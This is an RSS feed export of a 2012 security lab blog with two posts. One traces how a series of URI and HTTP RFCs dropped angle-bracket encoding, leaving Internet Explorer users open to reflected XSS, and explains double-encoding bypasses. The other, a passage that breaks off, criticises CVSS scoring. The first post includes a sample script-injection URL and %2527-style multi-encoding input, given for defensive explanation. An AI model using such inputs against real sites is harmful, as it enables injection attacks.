<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Neohapsis Labs</title>
	<atom:link href="http://labs.neohapsis.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://labs.neohapsis.com</link>
	<description>Managing Risk and Security since 1998</description>
	<lastBuildDate>Fri, 11 May 2012 12:12:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='labs.neohapsis.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Neohapsis Labs</title>
		<link>http://labs.neohapsis.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://labs.neohapsis.com/osd.xml" title="Neohapsis Labs" />
	<atom:link rel='hub' href='http://labs.neohapsis.com/?pushpress=hub'/>
		<item>
		<title>XSS hunting through forensic standards-analysis.</title>
		<link>http://labs.neohapsis.com/2012/05/02/xss-hunting-through-forensic-standards-analysis/</link>
		<comments>http://labs.neohapsis.com/2012/05/02/xss-hunting-through-forensic-standards-analysis/#comments</comments>
		<pubDate>Wed, 02 May 2012 17:11:34 +0000</pubDate>
		<dc:creator>Michael Pearce</dc:creator>
				<category><![CDATA[Information Security]]></category>

		<guid isPermaLink="false">http://neolab.wordpress.com/?p=1463</guid>
		<description><![CDATA[By Michael Pearce Brief: Web standards are complex, with request encoding Microsoft loses if they are &#8220;compliant&#8221; and they also lose if they are not. &#8220;Ambiguous RFC leads to Cross Site Scripting &#8220; was posted by a colleague at Neohapsis Labs (Patrick Toomey) a few weeks ago, and a related post was also put up [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1463&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>By Michael Pearce</p>
<p><em>Brief: Web standards are complex, with request encoding </em>Microsoft loses if they are &#8220;compliant&#8221; and they also lose if they are not.</p>
<p><a href="http://labs.neohapsis.com/2012/04/06/ambiguous-rfc-leads-to-cross-site-scripting/">&#8220;Ambiguous RFC leads to Cross Site Scripting &#8220;</a> was posted by a colleague at Neohapsis Labs (Patrick Toomey) a few weeks ago, and a <a href="http://blog.imperva.com/2012/01/ie-bug-exposes-its-users-to-xss-attacks-.html">related post</a> was also put up by Rob Rachwald at Imperva&#8217;s blog. As I have read through some of the associated RFCs many times I decided to dig a little deeper. I journeyed through the final version of seven RFCs defining three things (URL, URI and HTTP ), in an attempt to track down just how this issue arrived in the standards and how the Internet Explorer behavior fitted in.</p>
<p>What I seem to have found is a situation that illustrates the complexity of standards development, shows how unintended consequences can develop during development, and also, surprisingly, how Microsoft is placed in a lose-lose situation with Internet explorer and standards compliance. It appears that if Microsoft is fully, and minimally, standards compliant then they need to exhibit behavior that the other browsers do not. Should they add &#8220;safe&#8221; behavior then they not only break some legacy applications, but will need to add behavior that the standard isn&#8217;t entirely clear on the status of.</p>
<p>Microsoft loses if they are &#8220;compliant&#8221; and they lose if they are not. And that presumes you can even work out which standard is applicable in the first place&#8230;.</p>
<h2>Recap of the issue at hand:</h2>
<p>Cross Site Scripting occurs when a web application or server takes unvalidated and unsanitized user input and displays it back in such a way that any active (or otherwise harmful) content embedded in it (such as JavaScript) will be executed. This happens because web browsers generally treat anything that is received from a web server as having originated there. By sending malicious content through a web server first web browsers lose any associated context that content has, and instead associates it all with the web server. Patrick&#8217;s post has a walkthrough of an example of this and how it can be abused.</p>
<p>The specific XSS related problem of inconsistent percent-encoding of sensitive characters in requests across different web browsers is an interesting one. Percent encoding means that if an application directly repeats unsafe input it will be sent to the server in a form with a percent sign and the ascii value, rather than raw form. So an injected input like</p>
<p style="padding-left:30px;"><em>http://www.example.com/form.php?name=name&#8221;&gt;&lt;script&gt;alert(123)&lt;/script&gt;&lt;&#8221;<br />
</em></p>
<p>will become the following in the webpage source code where it says &#8220;hello NAME&#8221;:</p>
<p style="padding-left:30px;"><em>name%E2%80%9D%3E%3Cscript%3Ealert(123)%3C%2Fscript%3E%3C%E2%80%9D<br />
</em></p>
<p>which will not, and cannot, execute as it is neither valid JavaScript nor Valid HTML.</p>
<p>Well, it turns out that Firefox, Chrome, and Safari all perform this encoding of request parameters while Internet Explorer does not. Therefore any website which naievely repeats input from URL parameters may find that its IE wielding users are vulnerable to XSS while those using other browsers are not.</p>
<p>Thus it appears that Internet Explorer increases the risk of its users to Cross-Site Scripting.</p>
<h2>Latest standards</h2>
<p>Both previous posts on this issue list <a href="http://tools.ietf.org/html/rfc3986">RFC 3986</a>, <em>&#8220;URI Generic Syntax&#8221;</em>, as the root of the problem, because it lists reserved characters but neglects to mention the XML/HTML delimiters of &lt; and &gt; (page 12, section 2.2).</p>
<blockquote>
<pre>    reserved    = gen-delims / sub-delims

    gen-delims  = ":" / "/" / "?" / "#" / "[" / "]" / "@"

    sub-delims  = "!" / "$" / "&amp;" / "'" / "(" / ")"
                / "*" / "+" / "," / ";" / "="</pre>
</blockquote>
<address>Interestingly, these are not listed in unreserved characters at the bottom of the page either:</address>
<blockquote>
<pre>   Characters that are allowed in a URI but do not have a reserved
   purpose are called unreserved.  These include uppercase and lowercase
   letters, decimal digits, hyphen, period, underscore, and tilde.

      unreserved  = ALPHA / DIGIT / "-" / "." / "_" / "~"</pre>
</blockquote>
<p>So, should they be encoded or not? They are not explicitly unsafe, nor are they explicitly safe!</p>
<h2>&#8220;Family&#8221; history</h2>
<p>Patrick mentions that <a href="http://tools.ietf.org/html/rfc1738">RFC 1738</a> &#8220;<em>Uniform Resource Locators</em>&#8221; (which <a href="http://tools.ietf.org/html/rfc3986">RFC 3986</a> above updated) specifically mentioned &lt; and &gt; as unsafe on page 2:</p>
<blockquote>
<pre>   The characters "&lt;" and "&gt;" are unsafe because they are used as the
   delimiters around URLs in free text; the quote mark (""") is used to
   delimit URLs in some systems.  The character "#" is unsafe and should
   always be encoded because it is used in World Wide Web and in other
   systems to delimit a URL from a fragment/anchor identifier that might
   follow it.</pre>
</blockquote>
<p>However, in between the times of these two standards it occurred to me that there are other players. Namely, <a href="http://tools.ietf.org/html/rfc2396">RFC 2396</a> which was made obsolecent by <a href="http://tools.ietf.org/html/rfc3986">RFC 3986</a>, and <a href="http://tools.ietf.org/html/rfc1808">RFC 1808</a> which was made obsolescent by <a href="http://tools.ietf.org/html/rfc2396">2396</a>. <span style="text-decoration:underline;">Interestingly <a href="http://tools.ietf.org/html/rfc1738">RFC 1738</a> states that it is updated by <a href="http://tools.ietf.org/html/rfc1808">1808</a>, but <a href="http://tools.ietf.org/html/rfc1808">1808</a> doesn&#8217;t mention it updates <a href="http://tools.ietf.org/html/rfc1738">1738</a>.</span> Note that <a href="http://tools.ietf.org/html/rfc1808">1808</a> is only a partial update to <a href="http://tools.ietf.org/html/rfc1738">1738</a>, as it is only concerned with relative URLs.</p>
<p>With this chain we have, in increasing time going down:</p>
<p style="text-align:center;"><a href="http://tools.ietf.org/html/rfc1738">RFC 1738</a><br />
<em>Uniform Resource Locators (URL)</em></p>
<p style="text-align:center;">||</p>
<p style="text-align:center;"><a href="http://tools.ietf.org/html/rfc1808">RFC 1808</a><br />
<em>Relative Uniform Resource Locators</em></p>
<p style="text-align:center;">||</p>
<p style="text-align:center;"><a href="http://tools.ietf.org/html/rfc2396">RFC 2396</a><br />
<em>Uniform Resource Identifiers (URI): Generic Syntax</em></p>
<p style="text-align:center;">||</p>
<p style="text-align:center;"><a href="http://tools.ietf.org/html/rfc3986">RFC 3986</a><br />
<em>Uniform Resource Identifier (URI): Generic Syntax</em></p>
<p>At the top of this chain we have &lt; and &gt; being encoded, but at the bottom we don&#8217;t. What happened in between?</p>
<p>I&#8217;ll get to that soon, but first I have to introduce another RFC family, the HTTP family of RFCs.</p>
<h2>&#8220;Neighborly&#8221; history.</h2>
<p>Since HTTP is really what we are concerned with, (it uses URI&#8217;s to find resources) we need to look at the specifications for HTTP too.</p>
<p>Interestingly, the first IETF HTTP standard, <a href="http://tools.ietf.org/html/rfc1945"><em>RFC 1945</em></a><em> Hypertext Transfer Protocol</em> &#8212; HTTP/1.0, had &lt; and &gt; as <em>unsafe</em> and required encoding (referencing RFC <a href="http://tools.ietf.org/html/rfc1808">1808</a>), as did the first HTTP/1.1 <a href="http://tools.ietf.org/html/rfc2068">RFC 2068</a>, but the latest HTTP RFC<a href="http://tools.ietf.org/html/rfc2616">, RFC 2616</a><br />
<em>Hypertext Transfer Protocol &#8212; HTTP/1.1</em> does not state that they have to be encoded explicitly (instead referencing <a href="http://tools.ietf.org/html/rfc2396">RFC 2396</a> on page 19).</p>
<blockquote>
<pre>   Characters other than those in the "reserved" and "unsafe" sets (see
   <a href="http://tools.ietf.org/html/rfc2396">RFC 2396</a> [<a title="&quot;Uniform Resource Identifiers (URI): Generic Syntax and Semantics&quot;" href="http://tools.ietf.org/html/rfc2616#ref-42">42</a>]) are equivalent to their ""%" HEX HEX" encoding.

   For example, the following three URIs are equivalent:

      <a href="http://abc.com/%7Esmith/home.html">http://abc.com:80/~smith/home.html</a>
      <a href="http://abc.com/%7Esmith/home.html">http://ABC.com/%7Esmith/home.html</a>
      <a href="http://abc.com/%7Esmith/home.html">http://ABC.com:/%7esmith/home.html</a></pre>
</blockquote>
<p>It does state that to be in an HTTP parameter value they need to be inside double quotes though (<a href="http://tools.ietf.org/html/rfc2616">RFC 2616</a> page 16).</p>
<blockquote>
<pre>   Many HTTP/1.1 header field values consist of words separated by LWS
   or special characters. These special characters MUST be in a quoted
   string to be used within a parameter value (as defined in <a href="http://tools.ietf.org/html/rfc2616#section-3.6">section</a>
   <a href="http://tools.ietf.org/html/rfc2616#section-3.6">3.6</a>).

       token          = 1*&lt;any CHAR except CTLs or separators&gt;
       separators     = "(" | ")" | "&lt;" | "&gt;" | "@"
                      | "," | ";" | ":" | "\" | &lt;"&gt;
                      | "/" | "[" | "]" | "?" | "="
                      | "{" | "}" | SP | HT</pre>
</blockquote>
<p>So, as of HTTP version 1.1 we have &lt; and &gt; indirectly requiring hashing (via <a href="http://tools.ietf.org/html/rfc2396">RFC 2396</a>). But, the HTTP protocol no longer requires encoding in addition to <a href="http://tools.ietf.org/html/rfc2616">2616</a>, leaving the HTTP protocol potentially vulnerable. But that&#8217;s OK, because <a href="http://tools.ietf.org/html/rfc2396">RFC 2396</a> still offers protection <a href="http://tools.ietf.org/html/rfc2396">(RFC 2396</a> page 9):</p>
<blockquote>
<pre>   The angle-bracket "&lt;" and "&gt;" and double-quote (") characters are
   excluded because they are often used as the delimiters around URI in
   text documents and protocol fields.  The character "#" is excluded
   because it is used to delimit a URI from a fragment identifier in URI
   references (<a href="http://tools.ietf.org/html/rfc2396#section-4">Section 4</a>). The percent character "%" is excluded because
   it is used for the encoding of escaped characters.

   delims      = "&lt;" | "&gt;" | "#" | "%" | &lt;"&gt;</pre>
</blockquote>
<h2>The nail in the coffin, Updating URL Generic Syntax.</h2>
<p>Then, the actual issue occurred. <a href="http://tools.ietf.org/html/rfc3986">RFC 3986</a> Updated <a href="http://tools.ietf.org/html/rfc1738">1738</a>, made <a href="http://tools.ietf.org/html/rfc2396">2396</a> obsolete, and made a slight change (<a href="http://tools.ietf.org/html/rfc3986">RFC 3986</a> Page 11/12):</p>
<blockquote>
<pre>   URIs include components and subcomponents that are delimited by
   characters in the "reserved" set.  These characters are called
   "reserved" because they may (or may not) be defined as delimiters by
   the generic syntax, by each scheme-specific syntax, or by the
   implementation-specific syntax of a URI's dereferencing algorithm.
   If data for a URI component would conflict with a reserved
   character's purpose as a delimiter, then the conflicting data must be
   percent-encoded before the URI is formed.
   ...
   reserved    = gen-delims / sub-delims

      gen-delims  = ":" / "/" / "?" / "#" / "[" / "]" / "@"

      sub-delims  = "!" / "$" / "&amp;" / "'" / "(" / ")"
                  / "*" / "+" / "," / ";" / "="</pre>
</blockquote>
<p>Notice something missing? No more &lt; or &gt; (or % or &#8221; for that matter, but that&#8217;s more complicated).</p>
<p>Maybe this RFC isn&#8217;t ambiguous though? Consider the line from the except above (<a href="http://tools.ietf.org/html/rfc3986">RFC 3986</a> Page 11):</p>
<blockquote><p><em>&#8220;If Data for a URI component would conflict with a reserved character&#8217;s purpose as a delimiter, then the conflicting data must be percent encoded before the URI is formed&#8221;</em></p></blockquote>
<p>Here&#8217;s the issue: the later RFC, <a href="http://tools.ietf.org/html/rfc3986">3986</a> is referring to delimiters of URI&#8217;s, whereas <a href="http://tools.ietf.org/html/rfc2396">RFC 2396</a> is referring to delimiters in content (ostensibly not it&#8217;s job as a URI standard).</p>
<h2>Summary and timeline</h2>
<p>In short the problem is: HTTP shifted decisions about it&#8217;s own content to an RFC for URI, that URI RFC is now obsolete and replaced by another which does not offer this protection.</p>
<div>
<table style="border-collapse:collapse;" border="0">
<col style="width:127px;" />
<col style="width:128px;" />
<col style="width:128px;" />
<col style="width:128px;" />
<col style="width:128px;" />
<tbody valign="top">
<tr>
<td style="padding-left:7px;padding-right:7px;border:solid .5pt;"><strong>URI Timeline</strong></td>
<td style="padding-left:7px;padding-right:7px;border-top:solid .5pt;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;"><strong>HTTP TimeLine</strong></td>
<td style="padding-left:7px;padding-right:7px;border-top:solid .5pt;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;"><strong>Notes</strong></td>
<td style="padding-left:7px;padding-right:7px;border-top:solid .5pt;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;"><strong>Requires encoding in URI family?</strong></td>
<td style="padding-left:7px;padding-right:7px;border-top:solid .5pt;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;"><strong>Require Encoding in HTTP family?</strong></td>
</tr>
<tr>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:solid .5pt;border-bottom:solid .5pt;border-right:solid .5pt;"><a href="http://tools.ietf.org/html/rfc1738">1738</a></td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;"></td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">URL (updated by 1738)</td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">Yes</td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">N/A</td>
</tr>
<tr>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:solid .5pt;border-bottom:solid .5pt;border-right:solid .5pt;"><a href="http://tools.ietf.org/html/rfc1808">1808</a></td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;"></td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">Relative URL (updates 1738)</td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">Yes</td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">N/A</td>
</tr>
<tr>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:solid .5pt;border-bottom:solid .5pt;border-right:solid .5pt;"></td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;"><a href="http://tools.ietf.org/html/rfc1945">1945</a></td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">HTTP 1.0</td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">Yes</td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">Yes</td>
</tr>
<tr>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:solid .5pt;border-bottom:solid .5pt;border-right:solid .5pt;"></td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;"><a href="http://tools.ietf.org/html/rfc2068">2068</a></td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">HTTP 1.1</td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">Yes</td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">Yes</td>
</tr>
<tr>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:solid .5pt;border-bottom:solid .5pt;border-right:solid .5pt;"><a href="http://tools.ietf.org/html/rfc2396">2396</a></td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;"></td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">URI Generic</td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">Yes</td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">Yes</td>
</tr>
<tr>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:solid .5pt;border-bottom:solid .5pt;border-right:solid .5pt;"></td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;"><a href="http://tools.ietf.org/html/rfc2616">2616</a></td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">HTTP 1.1</td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">Yes</td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">No</td>
</tr>
<tr>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:solid .5pt;border-bottom:solid .5pt;border-right:solid .5pt;"><a href="http://tools.ietf.org/html/rfc3986">3986</a></td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;"></td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">URI Generic</td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">No</td>
<td style="padding-left:7px;padding-right:7px;border-top:none;border-left:none;border-bottom:solid .5pt;border-right:solid .5pt;">No</td>
</tr>
</tbody>
</table>
</div>
<p>So the error was introduced into HTTP in <a href="http://tools.ietf.org/html/rfc2616">RFC 2616</a> but not manifest until <a href="http://tools.ietf.org/html/rfc3986">RFC 3986</a> removed the mitigations from the URL syntax.</p>
<h2>Implications and other considerations</h2>
<p>There are a few implications that come to mind, most notably who is responsible for a decision about something in a specification, and whether this particular case may be leading to multiple-encoding vulnerabilities in applications.</p>
<h2>Controlling responsibility for functionality in standards.</h2>
<p>One of the core problems here was that early on an HTTP standard shifted control of a content-level decision to a protocol, and that protocol later removed the constraints in it that were there for the purposes of HTTP. Early on in this history we had two non-conflicting layers of protection, but by the end there were none. The problem was that while this may appear conceptually that these two protocols are a protocol stack, with no dependencies relying upon another layer this is not the case in practice:</p>
<p style="text-align:center;"><img src="http://neolab.files.wordpress.com/2012/05/050212_1711_8.png?w=450" alt="" /></p>
<p style="text-align:center;">How it seems HTTP and URI interact, with HTTP sitting on top of URI syntax making no cross-dependent assumptions</p>
<p style="text-align:center;"><img src="http://neolab.files.wordpress.com/2012/05/050212_1711_9.png?w=450" alt="" /></p>
<p style="text-align:center;">They actually intertwine slightly.</p>
<p>.</p>
<p>When developing your own standards and protocols you need to carefully map out who own what, and make security decisions of data in your component based upon your component alone, and not based upon unfounded and potentially dangerous assumptions about the behavior of another component. Another common example is when web applications presume the incoming TCP/IP details or referrer header prove something. The former relies upon TCP/IP not being spoofed while the latter presumes they are using a non-compromised web browser.</p>
<h2>Double-encoding</h2>
<p>One potential problem with this inconsistent encoding across web browsers is that it may lead developers to decode their incoming data multiple times, or to simply keep decoding incoming requests to their web applications until they decode no more. This is so that all their applications can see the same data to process. But this may be leading developers to introduce multiple-decode vulnerabilities in their applications.</p>
<p>Encoding can offer a degree of protection against some injection attacks, but this is not always the case as it can sometimes introduce them. Furthermore, often web servers, application components or the application themselves will transparently decode percent encoded requests transparently and on-the-fly. When an application, or its architecture, do this decoding in unanticipated ways you get double and triple-encoding vulnerabilities.</p>
<p>For example, <strong>%25</strong> is a percent character and <strong>%27</strong> is an apostrophe (&#8216;), so <strong>%2527</strong> can be double-decoded first to <strong>%27, and </strong> then to an apostrophe (&#8216;). %252527 is triple encoded , %25252527 is quadruple etc. This can sometimes introduce errors such as sql injection in applications that check the input (and sometimes its first decoded variant) for unsafe input (such as apostrophes) rather than using safe mechanisms like SQL parameterized statements.</p>
<p>If you ever have or suspect you application (or a component in its architecture) ensure that:</p>
<p>1. Validation checks are made unnecessary through using safe techniques where possible,</p>
<p>2. That where required to be used validation checks are made as close possible to the usage of the data,</p>
<p>3. That all security testing you do checks at least triple-decoded variants.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/neolab.wordpress.com/1463/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/neolab.wordpress.com/1463/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/neolab.wordpress.com/1463/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/neolab.wordpress.com/1463/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/neolab.wordpress.com/1463/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/neolab.wordpress.com/1463/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/neolab.wordpress.com/1463/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/neolab.wordpress.com/1463/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/neolab.wordpress.com/1463/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/neolab.wordpress.com/1463/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/neolab.wordpress.com/1463/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/neolab.wordpress.com/1463/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/neolab.wordpress.com/1463/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/neolab.wordpress.com/1463/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1463&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://labs.neohapsis.com/2012/05/02/xss-hunting-through-forensic-standards-analysis/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/95fb958ea4e39fd118e43979e596e10d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mpearceneo</media:title>
		</media:content>

		<media:content url="http://neolab.files.wordpress.com/2012/05/050212_1711_8.png" medium="image" />

		<media:content url="http://neolab.files.wordpress.com/2012/05/050212_1711_9.png" medium="image" />
	</item>
		<item>
		<title>CVSS &#8211; Vulnerability Scoring Gone Wrong</title>
		<link>http://labs.neohapsis.com/2012/04/25/cvss-vulnerability-scoring-gone-wrong/</link>
		<comments>http://labs.neohapsis.com/2012/04/25/cvss-vulnerability-scoring-gone-wrong/#comments</comments>
		<pubDate>Thu, 26 Apr 2012 03:06:12 +0000</pubDate>
		<dc:creator>Patrick Toomey</dc:creator>
				<category><![CDATA[Information Security]]></category>

		<guid isPermaLink="false">http://labs.neohapsis.com/?p=1407</guid>
		<description><![CDATA[By Patrick Toomey If you have been in the security space for any stretch of time you have undoubtedly run across the Common Vulnerability Scoring System (CVSS).  CVSS attempts to provide an &#8220;objective&#8221; way to calculate a measure of risk associated with a given vulnerability based on a number of criteria the security community has deemed worthwhile. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=labs.neohapsis.com&#038;blog=2649112&#038;post=1407&#038;subd=neolab&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>By Patrick Toomey</p>
<p>If you have been in the security space for any stretch of time you have undoubtedly run across the Common Vulnerability Scoring System (CVSS).  CVSS attempts to provide an &#8220;objective&#8221; way to calculate a measure of risk associated with a given vulnerability based on a number of criteria the security community has deemed worthwhile.  While I admire the goals of such a scoring system, in practice I think it falls short, and over-complicates the issue of assigning risk to vulnerabilities.  Before we get into my specific issues with CVSS, let&#8217;s briefly review how a CVSS score is calculated.  Put simply, the calculation tries to take into account criteria such as:</p>
<ul>
<li>Exploitability Metrics (i.e. probability)</li>
<li>Impact Metrics (i.e. severity)</li>
<li>Temporal Metrics (extra fudge factors for probability)</li>
<li>Environmental Metrics (extra fudge factors for severity)</li>
</ul>
<p>Each of the above categories is composed of a number of questions/criteria that are used as input into a calculation that results in a value between 0.0 and 10.0.  This score is often reported with publically disclosed vulnerabilities as a means of conveying the relative importance of fixing/patching the affected software.     The largest source of public CVSS scores comes from the National Vulnerability Database (NVD), as they have XML documents that contain a CVSS score for every CVE from 2002 to 2012.  In addition to the  NVD, I&#8217;ve also seen CVSS used by various security tools as well as used internally by numerous organizations, as it doesn&#8217;t require reinventing the wheel when ranking vulnerabilities.   So, what&#8217;s wrong with CVSS?</p>
<p>There are so many things I dislike about CVSS, though I will freely admit I am not steeped in CVSS lore, and would be open to hearing/discussing the reasoning behind the scoring system.  That said, here are my issues with CVSS in no particular order.</p>
<h3>We don&#8217;t measure football fields in inches for a reason</h3>
<p>Nobody cares that the distance between goal lines on an American football field is 3600 inches.  Why?  Because it is a useless unit of measurement when we are talking about football.  Nobody cares if someone has made 2 inches of progress on the field, as yards are the only thing that matters.  Similarly, what is an organization supposed to take away from a CVSS score that can take on 100 potential values?  Is a 7.2 any better than a 7.3 when it comes down to whether someone is deciding to fix something or not?  A reasonable argument against CVSS being too fine grained is that you can always bubble the result into a more coarse unit of measure.  But, that leads to my second complaint.</p>
<h3>The &#8220;fix&#8221; is broken</h3>
<p>So, sure, 100 distinct values is overkill for ranking vulnerabilities, and CVSS acknowledges this to some degree by mapping the overall score to a &#8220;severity score&#8221; of High, Medium and Low.  On the surface this seems reasonable, as it abstracts the ugly sausage making details of the detailed CVSS score into a very actionable severity score.  But, I feel like they managed to mess this up as well.  They started with a pretty fine granularity and bubbled up to something that is too coarse, as it tends to blur together various high severity vulnerabilities.  I&#8217;ve always been a fan of a four point  score that breaks down as follows:</p>
<ul>
<li>Critical &#8211; The vulnerability needs to have been fixed yesterday.  The entire team responsible will not sleep until the vulnerability has been fixed.</li>
<li>High &#8211; This vulnerability is serious and we are going to fix it in the near term, but we also don&#8217;t need to make everyone lose sleep over it.</li>
<li>Medium &#8211; This vulnerability is worth fixing, and we will set a relatively fixed date in the near future for when it will be fixed.</li>
<li>Low &#8211; This vulnerability is on our radar and if it fits in our next release schedule we will fix it.</li>
</ul>
<div>As it happens, a fairly large project manages to get by pretty well using a system roughly analogous to the one described above.  Google&#8217;s Chrome project has used a <a href="https://sites.google.com/a/chromium.org/dev/developers/severity-guidelines">similar rating system</a> and I haven&#8217;t heard anyone complain.     I was curious how this mapping would work against CVSS scores so I plotted all of the CVSS scores for every CVE within the NVD from 2002 until 2012.  The result are as follows:</div>
<div></div>
<div><a href="http://neolab.files.wordpress.com/2012/04/scores1.png"><img class="aligncenter size-full wp-image-1417" title="Scores" src="http://neolab.files.wordpress.com/2012/04/scores1.png?w=450&h=252" alt="" width="450" height="252" /></a></div>
<div></div>
<p>As can be seen, there are some pretty obvious groupings of scores within this data.  Without staring at the data too hard you can see that there are clearly four groupings of scores that would map very cleanly to the four point system I mentioned earlier.</p>
<p><a href="http://neolab.files.wordpress.com/2012/04/scores-grouped-into-4.png"><img class="aligncenter size-full wp-image-1420" title="Scores Grouped Into 4" src="http://neolab.files.wordpress.com/2012/04/scores-grouped-into-4.png?w=450&h=252" alt="" width="450" height="252" /></a></p>
<p>The main thing to make note of here is that there is a vast chasm between each grouping and its nearest neighbor(s).  There is very little chance of mistaking a low vulnerability for a medium vulnerability.  In contrast, with the current CVSS scoring system the grouping looks more like this:</p>
<p><a href="http://neolab.files.wordpress.com/2012/04/scores-grouped-into-3.png"><img class="aligncenter size-full wp-image-1419" title="Scores Grouped Into 3" src="http://neolab.files.wordpress.com/2012/04/scores-grouped-into-3.png?w=450&h=252" alt="" width="450" height="252" /></a></p>
<p>There is some seemingly arbitrary dividing lines between High, Medium, and Low scores.  Particularly troubling is the dividing line between Medium and High.  Anything scored less than a 7 is a Medium risk and anything greater is a High.  Unfortunately, there is a fair bit of data clustered at exactly that juncture.  This leads to my final complaint against CVSS.</p>
